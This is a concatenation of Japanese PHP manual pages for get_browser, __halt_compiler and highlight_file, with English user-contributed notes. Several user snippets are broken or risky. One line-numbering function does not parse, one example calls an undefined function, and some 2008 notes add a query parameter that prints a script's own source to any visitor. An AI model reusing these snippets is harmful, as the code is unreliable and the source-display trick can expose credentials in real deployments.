shaun at NOshatSPAM dot net 09-Aug-2002 04:13
return may be preferable to exit in certain situations, especially when dealing with the PHP binary and the shell.

I have a script which is the recipient of a mail alias, i.e. mail sent to that alias is piped to the script instead of being delivered to a mailbox. Using exit in this script resulted in the sender of the email getting a delivery failure notice. This was not the desired behavior, I wanted to silently discard messages which did not satisfy the script's requirements.

After several hours of trying to figure out what integer value I should pass to exit() to satisfy sendmail, I tried using return instead of exit. Worked like a charm. Sendmail didn't like exit but it was perfectly happy with return. So, if you're running into trouble with exit and other system binaries, try using return instead.
devinemke at devinemke dot com 11-Jan-2002 12:38
If you are using templates with numerous includes then exit() will end you script and your template will not complete (no </table>, </body>, </html> etc...).  Rather than having complex nested conditional logic within your content, just create a "footer.php" file that closes all of your HTML and if you want to exit out of a script just include() the footer before you exit().

for example:

include ('header.php');
blah blah blah
if (!$mysql_connect) {
echo "unable to connect";
include ('footer.php');
exit;
}
blah blah blah
include ('footer.php');


ユーザーのブラウザの機能を取得する

  • ≪ exit
  • __halt_compiler ≫
  • PHP Manual
  • その他の関数
  • ユーザーのブラウザの機能を取得する

get_browser

(PHP 4, PHP 5, PHP 7, PHP 8)

get_browser — ユーザーのブラウザの機能を取得する

説明

get_browser ( string $user_agent = ? , bool $return_array = false ) : mixed

ユーザーのブラウザの機能を調べます。これは、browscap.ini ファイルのブラウザ情報を調べることにより行います。

パラメータ

user_agent

処理するユーザーエージェント。デフォルトでは、HTTP の User-Agent ヘッダの内容を使用します。しかし、このパラメータを渡すことでこれを変更する (別のブラウザの情報を取得する) ことが可能です。

このパラメータを処理しないようにするには null 値を渡します。

return_array

true を指定すると、この関数はオブジェクトでなく配列を返します。

返り値

情報は、オブジェクトあるいは配列形式で返されます。 たとえばブラウザのメジャーバージョン番号、マイナーバージョン番号や ID 文字列といったさまざまなデータが含まれています。また、 フレームや JavaScript、クッキーといった機能についての true/false 値も含んでいます。

cookies の値は、単にそのブラウザがクッキーを扱う機能を 有していることを示すだけであり、ユーザーがクッキーを受け入れる設定に しているかどうかを表すものではありません。それをチェックする唯一の方法は、 いったん setcookie() でクッキーを設定してからリロードし、 その値を調べることです。

例

例1 ユーザーのブラウザについての全情報の一覧

<?php
echo $_SERVER['HTTP_USER_AGENT'] . "\n\n";

$browser = get_browser(null, true);
print_r($browser);
?>

上の例の出力は、 たとえば以下のようになります。

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3

Array
(
    [browser_name_regex] => ^mozilla/5\.0 (windows; .; windows nt 5\.1; .*rv:.*) gecko/.* firefox/0\.9.*$
    [browser_name_pattern] => Mozilla/5.0 (Windows; ?; Windows NT 5.1; *rv:*) Gecko/* Firefox/0.9*
    [parent] => Firefox 0.9
    [platform] => WinXP
    [browser] => Firefox
    [version] => 0.9
    [majorver] => 0
    [minorver] => 9
    [cssversion] => 2
    [frames] => 1
    [iframes] => 1
    [tables] => 1
    [cookies] => 1
    [backgroundsounds] =>
    [vbscript] =>
    [javascript] => 1
    [javaapplets] => 1
    [activexcontrols] =>
    [cdf] =>
    [aol] =>
    [beta] => 1
    [win16] =>
    [crawler] =>
    [stripper] =>
    [wap] =>
    [netclr] =>
)

注意

注意:

この関数が正常に機能するためには、php.ini の browscap 設定が、システム上の browscap.ini の正確な位置を 指している必要があります。

browscap.ini は PHP にはバンドルされていません。 しかし、ここで最新の » php_browscap.ini を入手することができます。

browscap.ini は多くのブラウザに関する情報をもっていますが、 データベースを最新に保つのはユーザーによる更新に依存しています。 ファイルのフォーマット自体を見ればおおよそのことがわかります。

User Contributed Notes

Anonymous 28-Dec-2018 12:45
Follow up to Francesco R's post from 2016.

His function works for most human traffic; added a few lines to cover the most common bot traffic. Also fixed issue with function failing to detect strings at position 0 due to strpos behavior.

<?php
// Function written and tested December, 2018
function get_browser_name($user_agent)
{
        // Make case insensitive.
        $t = strtolower($user_agent);

        // If the string *starts* with the string, strpos returns 0 (i.e., FALSE). Do a ghetto hack and start with a space.
        // "[strpos()] may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE."
        //     http://php.net/manual/en/function.strpos.php
        $t = " " . $t;

        // Humans / Regular Users
        if     (strpos($t, 'opera'     ) || strpos($t, 'opr/')     ) return 'Opera'            ;
        elseif (strpos($t, 'edge'      )                           ) return 'Edge'             ;
        elseif (strpos($t, 'chrome'    )                           ) return 'Chrome'           ;
        elseif (strpos($t, 'safari'    )                           ) return 'Safari'           ;
        elseif (strpos($t, 'firefox'   )                           ) return 'Firefox'          ;
        elseif (strpos($t, 'msie'      ) || strpos($t, 'trident/7')) return 'Internet Explorer';

        // Search Engines
        elseif (strpos($t, 'google'    )                           ) return '[Bot] Googlebot'   ;
        elseif (strpos($t, 'bing'      )                           ) return '[Bot] Bingbot'     ;
        elseif (strpos($t, 'slurp'     )                           ) return '[Bot] Yahoo! Slurp';
        elseif (strpos($t, 'duckduckgo')                           ) return '[Bot] DuckDuckBot' ;
        elseif (strpos($t, 'baidu'     )                           ) return '[Bot] Baidu'       ;
        elseif (strpos($t, 'yandex'    )                           ) return '[Bot] Yandex'      ;
        elseif (strpos($t, 'sogou'     )                           ) return '[Bot] Sogou'       ;
        elseif (strpos($t, 'exabot'    )                           ) return '[Bot] Exabot'      ;
        elseif (strpos($t, 'msn'       )                           ) return '[Bot] MSN'         ;

        // Common Tools and Bots
        elseif (strpos($t, 'mj12bot'   )                           ) return '[Bot] Majestic'     ;
        elseif (strpos($t, 'ahrefs'    )                           ) return '[Bot] Ahrefs'       ;
        elseif (strpos($t, 'semrush'   )                           ) return '[Bot] SEMRush'      ;
        elseif (strpos($t, 'rogerbot'  ) || strpos($t, 'dotbot')   ) return '[Bot] Moz or OpenSiteExplorer';
        elseif (strpos($t, 'frog'      ) || strpos($t, 'screaming')) return '[Bot] Screaming Frog';

        // Miscellaneous
        elseif (strpos($t, 'facebook'  )                           ) return '[Bot] Facebook'     ;
        elseif (strpos($t, 'pinterest' )                           ) return '[Bot] Pinterest'    ;

        // Check for strings commonly used in bot user agents
        elseif (strpos($t, 'crawler' ) || strpos($t, 'api'    ) ||
                strpos($t, 'spider'  ) || strpos($t, 'http'   ) ||
                strpos($t, 'bot'     ) || strpos($t, 'archive') ||
                strpos($t, 'info'    ) || strpos($t, 'data'   )    ) return '[Bot] Other'   ;

        return 'Other (Unknown)';
}
?>
Post with more depth here:
https://www.256kilobytes.com/content/show/1922/how-to-parse-a-user-agent-in-php-with-minimal-effort
Jeff Williams 26-Apr-2018 06:33
To automatically update your browscap.ini file on linux servers, you can use this simple shell script:

wget -O /etc/browscap.ini "http://browscap.org/stream?q=Full_PHP_BrowsCapINI"
chmod 664 /etc/browscap.ini

You can put it in the weekly cron job folder usually located in /etc/cron.weekly just don't forget to make the script executable (chmod 775 scriptname).
Konstantin Rozinov 26-Dec-2017 05:18
Since browser detection can be tricky and very slow, I compared a few packages.

http://thadafinser.github.io/UserAgentParserComparison/v5/index.html

https://github.com/sinergi/php-browser-detector
https://github.com/WhichBrowser/Parser-PHP
https://github.com/piwik/device-detector
http://php.net/manual/en/function.get-browser.php

Here are the results:

User Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36

Sinergi Package
---------------
Chrome 63.0.3239.84 on Windows 10.0
Took 0.0022480487823486 seconds.
---------------

WhichBrowser Package
---------------
Chrome 63 on Windows 10
Took 0.021045207977295 seconds.
---------------

Piwik Package
---------------
Chrome 63.0 on Windows 10
Took 0.079447031021118 seconds.
---------------

get_browser Package
---------------
Chrome 63.0 on Windows 10
Took 0.09611701965332 seconds.
---------------

User Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0

Sinergi Package
---------------
Firefox 57.0 on Windows 10.0
Took 0.0023159980773926 seconds.
---------------

WhichBrowser Package
---------------
Firefox 57.0 on Windows 10
Took 0.019663095474243 seconds.
---------------

Piwik Package
---------------
Firefox 57.0 on Windows 10
Took 0.079678058624268 seconds.
---------------

get_browser Package
---------------
Firefox 57.0 on Windows 10
Took 0.02236008644104 seconds.
---------------

The consistent winner (by speed, not necessarily coverage) by far is:
https://github.com/sinergi/php-browser-detector
krozinov at gmail dot com 26-Dec-2017 04:19
As of PHP 7.0.15 and 7.1.1 and higher, get_browser() now performs much better - reportedly 100x faster.  The Changelog, bug description, and solution are here:

http://php.net/ChangeLog-7.php (search for get_browser())
https://bugs.php.net/bug.php?id=70490
https://github.com/php/php-src/pull/2242
The Digital Orchard 20-Jan-2017 09:39
Good news! The latest version of PHP has a performance fix for this function. It's reportedly now 100x faster. See the ChangeLog for specifics.
zed 07-Sep-2016 10:20
To complete Francesco R, I added the version of the navigator :

function getNavigateur($user_agent)
    {

        if(empty($user_agent)) {
            return array('nav' => 'NC', 'name' => 'NC', 'version' => 'NC');
        }

        $content_nav['name'] = 'Unknown';

        if (strpos($user_agent, 'Opera') || strpos($user_agent, 'OPR/')) {

            $content_nav['name'] = 'Opera';

            if (strpos($user_agent, 'OPR/')) {
                $content_nav['reel_name'] = 'OPR/';
            } else {
                $content_nav['reel_name'] = 'Opera';
            }

        }
        elseif (strpos($user_agent, 'Edge')) {
            $content_nav['name'] = $content_nav['reel_name'] = 'Edge';
        }
        elseif (strpos($user_agent, 'Chrome')) $content_nav['name'] = $content_nav['reel_name'] = 'Chrome';
        elseif (strpos($user_agent, 'Safari')) $content_nav['name'] = $content_nav['reel_name'] = 'Safari';
        elseif (strpos($user_agent, 'Firefox')) $content_nav['name'] = $content_nav['reel_name'] = 'Firefox';
        elseif (strpos($user_agent, 'MSIE') || strpos($user_agent, 'Trident/7') || strpos($user_agent, 'Trident/7.0; rv:')) {
            $content_nav['name'] = 'Internet Explorer';

            if (strpos($user_agent, 'Trident/7.0; rv:')) {
                $content_nav['reel_name'] = 'Trident/7.0; rv:';
            } elseif (strpos($user_agent, 'Trident/7')) {
                $content_nav['reel_name'] = 'Trident/7';
            } else {
                $content_nav['reel_name'] = 'Opera';
            }

        }

        $pattern = '#' . $content_nav['reel_name'] . '\/*([0-9\.]*)#';

        $matches = array();

        if(preg_match($pattern, $user_agent, $matches)) {

            $content_nav['version'] = $matches[1];
            return $content_nav;

        }

        return array('name' => $content_nav['name'], 'version' => 'Inconnu');
    }
Francesco R 14-May-2016 01:52
If you ONLY need a very fast and simple function to detect the browser name (update to May 2016):

<?php

function get_browser_name($user_agent)
{
    if (strpos($user_agent, 'Opera') || strpos($user_agent, 'OPR/')) return 'Opera';
    elseif (strpos($user_agent, 'Edge')) return 'Edge';
    elseif (strpos($user_agent, 'Chrome')) return 'Chrome';
    elseif (strpos($user_agent, 'Safari')) return 'Safari';
    elseif (strpos($user_agent, 'Firefox')) return 'Firefox';
    elseif (strpos($user_agent, 'MSIE') || strpos($user_agent, 'Trident/7')) return 'Internet Explorer';

    return 'Other';
}

// Usage:

echo get_browser_name($_SERVER['HTTP_USER_AGENT']);

?>

This function also resolves the trouble with Edge (that contains in the user agent the string "Safari" and "Chrome"), with Chrome (contains the string "Safari") and IE11 (that do not contains 'MSIE' like all other IE versions).

Note that "strpos" is the fastest function to check a string (far better than "preg_match") and Opera + Edge + Chrome + Safari + Firefox + Internet Explorer are the most used browsers today (over 97%).
Anonymous 12-Jan-2016 02:37
This function is too slow for todays needs.

If you need browser / device / operating system detection, please try one of listed packages here: https://github.com/ThaDafinser/UserAgentParser
p2 at eduardoruiz dot es 12-Jan-2016 12:58
BE CAREFUL WITH THIS FUNCTION!!
This function uses a lot of CPU and RAM on the whole server resources.
Perhaps if you use this function a few times then no problem, but NOT if you use at any page request, or once per session.

Also, this function doesn't work correctly and may returns wrong values, wildcards or empty, so it's not very useful for web statistics.

The best way is to use preg_match for detect browser/platform.
jeremie dot legrand at komori-chambon dot fr 16-Dec-2015 04:28
Be careful if you use the "Full" Browscap INI file in your php.ini config: I wondered why each Apache thread took 350MB RAM on my server until I changed the "Full" version by the "Lite" one (45MB to 0.7MB)

Now, each thread takes only 16MB...
So if it is enough for you, use the Lite version!
shashank 17-Jun-2015 06:17
As ruudrp had given the code http://php.net/manual/en/function.get-browser.php#101125, I have added code for Internet Explorer 11

<?php
function getBrowser()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $bname = 'Unknown';
    $platform = 'Unknown';
    $version= "";

    //First get the platform?
    if (preg_match('/linux/i', $u_agent)) {
        $platform = 'linux';
    }
    elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
        $platform = 'mac';
    }
    elseif (preg_match('/windows|win32/i', $u_agent)) {
        $platform = 'windows';
    }

    // Next get the name of the useragent yes seperately and for good reason
    if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Internet Explorer';
        $ub = "MSIE";
    }
    elseif(preg_match('/Trident/i',$u_agent))
    { // this condition is for IE11
        $bname = 'Internet Explorer';
        $ub = "rv";
    }
    elseif(preg_match('/Firefox/i',$u_agent))
    {
        $bname = 'Mozilla Firefox';
        $ub = "Firefox";
    }
    elseif(preg_match('/Chrome/i',$u_agent))
    {
        $bname = 'Google Chrome';
        $ub = "Chrome";
    }
    elseif(preg_match('/Safari/i',$u_agent))
    {
        $bname = 'Apple Safari';
        $ub = "Safari";
    }
    elseif(preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Opera';
        $ub = "Opera";
    }
    elseif(preg_match('/Netscape/i',$u_agent))
    {
        $bname = 'Netscape';
        $ub = "Netscape";
    }

    // finally get the correct version number
    // Added "|:"
    $known = array('Version', $ub, 'other');
    $pattern = '#(?<browser>' . join('|', $known) .
     ')[/|: ]+(?<version>[0-9.|a-zA-Z.]*)#';
    if (!preg_match_all($pattern, $u_agent, $matches)) {
        // we have no matching number just continue
    }

    // see how many we have
    $i = count($matches['browser']);
    if ($i != 1) {
        //we will have two since we are not using 'other' argument yet
        //see if version is before or after the name
        if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
            $version= $matches['version'][0];
        }
        else {
            $version= $matches['version'][1];
        }
    }
    else {
        $version= $matches['version'][0];
    }

    // check if we have a number
    if ($version==null || $version=="") {$version="?";}

    return array(
        'userAgent' => $u_agent,
        'name'      => $bname,
        'version'   => $version,
        'platform'  => $platform,
        'pattern'    => $pattern
    );
}

// now try it
$ua=getBrowser();
$yourbrowser= "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports: <br >" . $ua['userAgent'];
print_r($yourbrowser);
?>
tim at digicol dot de 22-May-2014 01:01
Be aware that loading php_browscap.ini via the browscap php.ini setting may consume a non-trivial amount of memory. Current versions are several MB in size (even the "lite" one) and can eat tens of MB of RAM in each PHP process. This happens even if you never call get_browser() since php_browscap.ini is loaded when PHP is starting up.

Make sure to leave the browscap php.ini setting empty if you don't use get_browser() - maybe you only call it only from PHP Web pages, but not from PHP CLI code.

I'd recommend comparing your processes' memory consumption with and without php_browscap.ini being loaded. If necesseray, consider creating your own stripped-down copy of php_browscap.ini with just the browsers that are important to you.
Anonymous 11-Jul-2011 06:52
For those of you using this function to target MSIE, a better idea maybe to use MSIE specific conditional comments. More info: <http://msdn.microsoft.com/en-us/library/ms537512%28VS.85%29.aspx>.

For example to indicate your disregard for users of MSIE 6 or earlier:

<!--[if lt IE 7]>It appears that you are using a <em>very</em> old version of MS Internet Explorer (MSIE). If you seriously want to continue to use MSIE, at least <a href="http://www.microsoft.com/windows/internet-explorer/">upgrade</a>.<![endif]-->
ruudrp at live dot nl 28-Nov-2010 03:31
To my surprise I found that none of the get_browser alternatives output the correct name / version combination that I was looking for using Opera or Chrome. They either give the wrong name eg Safari when in fact it should be Chrome and if the ua string includes a version number as with the latest versions of Chrome and Opera the wrong number is reported. So I took bits and pieces from the various examples and combined them and added a check for version.

<?php
function getBrowser()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $bname = 'Unknown';
    $platform = 'Unknown';
    $version= "";

    //First get the platform?
    if (preg_match('/linux/i', $u_agent)) {
        $platform = 'linux';
    }
    elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
        $platform = 'mac';
    }
    elseif (preg_match('/windows|win32/i', $u_agent)) {
        $platform = 'windows';
    }

    // Next get the name of the useragent yes seperately and for good reason
    if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Internet Explorer';
        $ub = "MSIE";
    }
    elseif(preg_match('/Firefox/i',$u_agent))
    {
        $bname = 'Mozilla Firefox';
        $ub = "Firefox";
    }
    elseif(preg_match('/Chrome/i',$u_agent))
    {
        $bname = 'Google Chrome';
        $ub = "Chrome";
    }
    elseif(preg_match('/Safari/i',$u_agent))
    {
        $bname = 'Apple Safari';
        $ub = "Safari";
    }
    elseif(preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Opera';
        $ub = "Opera";
    }
    elseif(preg_match('/Netscape/i',$u_agent))
    {
        $bname = 'Netscape';
        $ub = "Netscape";
    }

    // finally get the correct version number
    $known = array('Version', $ub, 'other');
    $pattern = '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
    if (!preg_match_all($pattern, $u_agent, $matches)) {
        // we have no matching number just continue
    }

    // see how many we have
    $i = count($matches['browser']);
    if ($i != 1) {
        //we will have two since we are not using 'other' argument yet
        //see if version is before or after the name
        if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
            $version= $matches['version'][0];
        }
        else {
            $version= $matches['version'][1];
        }
    }
    else {
        $version= $matches['version'][0];
    }

    // check if we have a number
    if ($version==null || $version=="") {$version="?";}

    return array(
        'userAgent' => $u_agent,
        'name'      => $bname,
        'version'   => $version,
        'platform'  => $platform,
        'pattern'    => $pattern
    );
}

// now try it
$ua=getBrowser();
$yourbrowser= "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports: <br >" . $ua['userAgent'];
print_r($yourbrowser);
?>
mike at mike-griffiths dot co dot uk 23-Jul-2007 02:41
You should not rely on just this for cross-browser compatibility issues.  Good practice would be to include HTML if-statements for IE stylesheets as well as dynamically checking the browser type.
max at phpexpert dot de 26-Mar-2004 07:14
Be aware of the fact that this function shows what a specific browser might be able to show, but NOT what the user has turned on/off.

So maybe this function tells you that the browser is abel to to javascript even when javascript is turned off by the user.


コンパイラの実行を中止する

  • ≪ get_browser
  • highlight_file ≫
  • PHP Manual
  • その他の関数
  • コンパイラの実行を中止する

__halt_compiler

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

__halt_compiler — コンパイラの実行を中止する

説明

__halt_compiler ( ) : void

コンパイラの実行を中止します。 これは、インストール用ファイルのようなデータを PHP スクリプトに埋め込んでいる場合に便利です。

データの開始位置（バイト値）は、定数 __COMPILER_HALT_OFFSET__ で定義されています。 これはファイル内で __halt_compiler() が使用されている場合にのみ存在します。

返り値

値を返しません。

例

例1 __halt_compiler() の例

<?php

// このファイルをオープンします
$fp = fopen(__FILE__, 'r');

// データのある位置までファイルポインタを移動します
fseek($fp, __COMPILER_HALT_OFFSET__);

// それを出力します
var_dump(stream_get_contents($fp));

// ここでスクリプトの実行を終了します
__halt_compiler(); インストールデータ（例: tar, gz, PHP など..）

注意

注意:

__halt_compiler() は、いちばん外側のスコープでのみ使用可能です。

User Contributed Notes

alex at 1stleg dot com 02-Feb-2020 07:51
Please note that __HALT_COMPILER() must be uppercase if used from a pharstub: https://www.php.net/manual/en/phar.fileformat.stub.php
ravenswd at gmail dot com 15-Feb-2016 07:31
If "__halt_compiler();" appears in a file which is "include"d or "require"d, then the called-in file will be treated as if it physically cuts off at the "__halt_compiler();". In other words, "__halt_compiler();" only affects the physical file it's in, an outer file that pulls it in will continue to execute.
cwk32 at mail dot ustc dot edu dot cn 23-Feb-2015 03:11
if you find the value of __COMPILER_HALT_OFFSET__ is highly strange. Maybe...

there are some complier optimization tools, like eAccelator(very old). When the program is pre-complied and cached, the __COMPILER_HALT_OFFSET__ will be 0 = =
Krzysiek 14-Jul-2014 09:41
Joey, you're wrong saying that __halt_compiler have strange behavior. This structure works exactly the same as any other build in structure like empty or isset (even similarly to functions; at least in tokenizer level).

About T_OPEN_TAG - after one open tag is present you didn't expect other one in current php code section, so tokenizer try to handle this "thing" in other way and it's perfectly normal...
joey at gimo dot co dot uk 25-May-2014 04:10
I don't exactly know what PHP is doing internally but I don't understand the sanity behind how in token_get_all __halt_compiler is handled.

This is actually valid there:
__halt_compiler/**/ /**/ /**/ /**/ /** */();raw

Normally it pops off just any three tokens so you can have even __halt_compiler***, __halt_compiler))), etc in token _get all.

The weird thing is that is also skips T_OPEN_TAG but in the context __halt_compiler runs in this tag should not be posible. Instead it will pick up < and ? as operators and php as a T_STRING.

It ignores the token at any point so this is also valid:
__halt_compiler()/**/ /**/ /**/ /**/ /** */;raw

When I test this with a php file rather than the tokeniser it works the same.

I can only conclude that PHP/__halt_compiler is pretty weird.

I think this is from attempting to weakly imitate the same syntax handling as in functions (I guess you can put comments/whitespace anywhere). I find it annoying and counter productive though.

Even this is valid:
__halt_compiler// comment\n();raw

A general problem that compound matters is that tokenise wont check whether or not syntax is valid (tokens against each other). When running as PHP you must have ();.
-T- 22-Oct-2013 05:16
This function can be used in eval() -- it will halt the eval, but not the script eval"() was called in.
ravenswd at gmail dot com 29-Jun-2010 06:16
__halt_compiler is also useful for debugging. If you need to temporarily make a change that will introduce an error later on, use __halt_compiler to prevent syntax errors. For example:

<?php
if ( $something ):
  print 'something';
endif;   // endif placed here for debugging purposes
__halt_compiler();
endif;   // original location of endif -- would produce syntax error if __halt_compiler was not there
?>


ファイルの構文ハイライト表示

  • ≪ __halt_compiler
  • highlight_string ≫
  • PHP Manual
  • その他の関数
  • ファイルの構文ハイライト表示

highlight_file

(PHP 4, PHP 5, PHP 7, PHP 8)

highlight_file — ファイルの構文ハイライト表示

説明

highlight_file ( string $filename , bool $return = false ) : mixed

filename の中のコードを構文ハイライト表示して 出力します。色は、PHP 組込の構文ハイライタで定義されているものを使用します。

多くのサーバーでは、拡張子が phps のファイルは 自動的に構文ハイライト表示されるように設定されています。例えば example.phps のようなファイルは、構文ハイライト したソースファイルとして表示されます。これを有効にするには、 httpd.conf に以下のような行を追加します。

AddType application/x-httpd-php-source .phps

パラメータ

filename

ハイライト表示する PHP ファイルへのパス。

return

このパラメータを true にすると、この関数はハイライトされたコードを返します。

返り値

return が true の場合は、 ハイライトされたコードを文字列として返し、表示しません。 それ以外の場合は、成功した場合に true、 失敗した場合に false を返します。

注意

警告

highlight_file() 関数を使用する場合には、 パスワードやその他潜在的なセキュリティ上の危険を生む類の重要な 情報を不注意で公開してしまわないように注意する必要があります。

注意:

return パラメータを使う場合、この関数は内部的に出力バッファリングを使います。 そのため、ob_start() コールバック関数の中では使えません。

参考

  • highlight_string() - 文字列の構文ハイライト表示
  • ハイライトに関する INI 設定

User Contributed Notes

flussence at gmail dot com 15-Nov-2020 01:30
Unfortunately the AddType trick only works for Apache *with mod_php* - FastCGI backends can't see the special content type and don't do anything special with the .phps file extension, instead trying to run it like normal code.

It's still possible to make it work using mod_rewrite trickery and a proxy script that calls highlight_file, but that's an exercise left to the reader.
tony at tonybaldwin dot me 04-Apr-2017 11:01
a practical application: http://wiki.tonybaldwin.me/doku.php/hax/misc/today
I pipe output of the old bsdcalendar script to a file with cron, on the daily, and then use this function to display "Today in History" data on a page.
design at joelalejandro dot com dot ar 31-Aug-2009 04:52
Just my two cents - a function that takes PHP source code from a file and decodes it to text/plain MIME-type.

Cheers,
Joel A. Villarreal Bertoldi

<?php
function phps2array($fileName)
{
    return explode("\r", html_entity_decode(strip_tags(highlight_file($fileName, true))));
}
?>

Example:
####################################

samplefile.php:
<?php
$a = 1;

/* This is my file*/
echo $a;
?>

parser.php:
<?php
header("Content-Type: text/plain");
print_r(parse_php_file("samplefile.php"));
?>

####################################
Results:
####################################

Array
(
    [0] => <?php
    [1] => $a = 1;
    [2] =>
    [3] => /* This is my file*/
    [4] => echo $a;
    [5] => ?>
)

####################################
dynamicflurry [at] gmail dot com 04-Aug-2009 07:33
Here's a great function I found to add numbers to your highlighted code:

<?php
function highlight_num($file)
{
  $lines = implode(range(1, count(file($file))), '<br />');
  $content = highlight_file($file, true);

  echo '
    <style type="text/css">
        .num {
        float: left;
        color: gray;
        font-size: 13px;
        font-family: monospace;
        text-align: right;
        margin-right: 6pt;
        padding-right: 6pt;
        border-right: 1px solid gray;}

        body {margin: 0px; margin-left: 5px;}
        td {vertical-align: top;}
        code {white-space: nowrap;}
    </style>';

    echo "<table><tr><td class=\"num\">\n$lines\n</td><td>\n$content\n</td></tr></table>";
}
highlight_num(__FILE__);
?>
afugit at imavex dot com 24-Jul-2009 08:42
This function will not only echo out the code but will add line numbers.  The extra code is for the multi-line and single-line comments using /* and */ and making sure they are highlighted appropriately.  If not used, the multi-line comments will not be displayed in orange (or the default comment color).

Anthony

=============

<?php
   function renderFile($filename) {
        if(file_exists($filename) && is_file($filename)) {
            $code = highlight_file($filename, true);
            $counter = 1;
            $arr = explode('<br />', $code);
            echo '<table border="0" cellpadding="0" cellspacing="0" width="100%" style="font-family: monospace;">' . "\r\n";
            foreach($arr as $line) {
                echo '<tr>' . "\r\n";
                    echo '<td width="65px" nowrap style="color: #666;">' . $counter . ':</td>' . "\r\n";

                    // fix multi-line comment bug
                    if((strstr($line, '<span style="color: #FF8000">/*') !== false) && (strstr($line, '*/') !== false)) { // single line comment using /* */
                        $comments = false;
                        $startcolor = "orange";
                    }
                    elseif(strstr($line, '<span style="color: #FF8000">/*') !== false) { // multi line comment using /* */
                        $startcolor = "orange";
                        $comments = true;
                    }
                    else { // no comment marks found
                        $startcolor = "green";
                        if($comments) { // continuation of multi line comment
                            if(strstr($line, '*/') !== false) {
                                $comments = false;
                                $startcolor = "orange";
                            }
                            else {
                                $comments = true;
                            }
                        }
                        else { // normal line
                            $comments = false;
                            $startcolor = "green";
                        }
                    }
                    // end fix multi-line comment bug

                    if($comments)
                        echo '<td width="100%" nowrap style="color: orange;">' . $line . '</td>' . "\r\n";
                    else
                        echo '<td width="100%" nowrap style="color: ' . $startcolor . ';">' . $line . '</td>' . "\r\n";

                    echo '</tr>' . "\r\n";
                    $counter++;
            }
            echo '</table>' . "\r\n";
        }
        else {
            echo "<p>The file <i>$filename</i> could not be opened.</p>\r\n";
            return;
        }
    }
?>
nospam at mbeulens dot nl 12-Jul-2009 12:00
This is my try on linenumbers
<?php
    public static function highlight_file_with_line_numbers($file) {
          //Strip code and first span
        $code = substr(highlight_file($file, true), 36, -15);
        //Split lines
        $lines = explode('<br />', $code);
        //Count
        $lineCount = count($lines);
        //Calc pad length
        $padLength = strlen($lineCount);

        //Re-Print the code and span again
        echo "<code><span style=\"color: #000000\">";

        //Loop lines
        foreach($lines as $i => $line) {
            //Create line number
            $lineNumber = str_pad($i + 1,  $padLength, '0', STR_PAD_LEFT);
            //Print line
            echo sprintf('<br><span style="color: #999999">%s | </span>%s', $lineNumber, $line);
        }

        //Close span
        echo "</span></code>";
    }

?>
Anonymous 11-Apr-2009 03:02
I get linenumbers this way... cause I don't like tables :p

<?php

function highlight_linenumbers ($page)
{

    // remove <code> and global <span>
    $code = highlight_file($page, true) ,36,-15);

    echo '<ol style="font-family:monospace; color:', ini_get('highlight.{default}') , ';">';

    $arr = explode('<br />', $code);
    foreach( $arr as $line )
    {
        // removing newline
        $line = substr($line, 0, -1);

        //empty lines
        if( preg_match('`^(&nbsp;)*$`',$line) ) $line = '&nbsp;';

        // add colour from the previous line
        if( !empty($last_colour) ) $s = '<span style="color:'.$last_colour .'">'. $s;

        // Supposing we open more spans on a line than closing... let's do this properly
        // We have at most one currently opened span
        if( substr_count($line, '<span') - substr_count($line, '</span') > 0 )
        {
                $line .= '</span>';

                // Grab colour to report it on next line
                $last_colour = explode('<span ',$line);
                $last_colour = $last_colour[count($last_colour)-1];

                $last_colour = substr($last_colour,strpos($last_colour,'#'),7);

                else $last_colour = NULL;

                echo '<li>',$line,"</li>\r";
        }

        echo '</ol>';
}

?>
SneakyWho_am_i 10-Sep-2008 04:00
From W on 20 August 2008:
YES! I do it too, on many of my things! I love to be able to share my code (when I have the right to do it) with friends who aren't working on the project.

<?php

if (isset($_GET['code'])) { die(highlight_file(__FILE__, 1)); }

?>

I like to do it like this. The benefit is minimal but personally for such a small thing I would like to keep it down to one line. Maybe there is a shorter way, I don't know.. But the magic constant __FILE__ saves the day!

To access this one would be http://example.com/path/to/script.php?code
the parameter just has to be set (? or &) and you don't need the equals sign.
This way I don't generate any errors in E_ALL (because I'm likely in development), and I don't have to remember if the value was supposed to be "true" or "1" or "abacus" or whatever (I mean you're never going to specifically ask to NOT show the code, right?)

Anyway I've gone on long enough. It's nice to not be the only one who does this :D
W 20-Aug-2008 02:43
Normally I add highlighting for files like so:

In every file that should be higlighted:
<?php
$tool_file=$_SERVER['SCRIPT_FILENAME']; $tool_file=basename($tool_file);
include_once('highlight.inc.php');
showCode();
?>

And in highlight.inc.php (or your init file):
<?php
function showCode() {
if ($_REQUEST['codeShow'] == 1) {
        highlight_file($codeName);
        exit ();
    }
}
?>

When a user will open the sourcecode (or you'll link to it) he just adds ?codeShow=1 to the filename.
mmcloughlin at gmail dot com 09-May-2008 06:06
You can trick this function to apply additional css rules to parts of the source code.

For example, if you wanted comments to appear in bold you could do the following

<?php
ini_set('highlight.comment', '#CCCCCC; font-weight: bold;');
highlight_file('file.php');
?>

This works because when highlight_file() writes out a comment it wraps it in <span style="color: {contents of hightlight.comment ini variable}">...</span>. Therefore as long as your ini value for highlight.comment starts with a color, you can put in whatever style declarations you like.

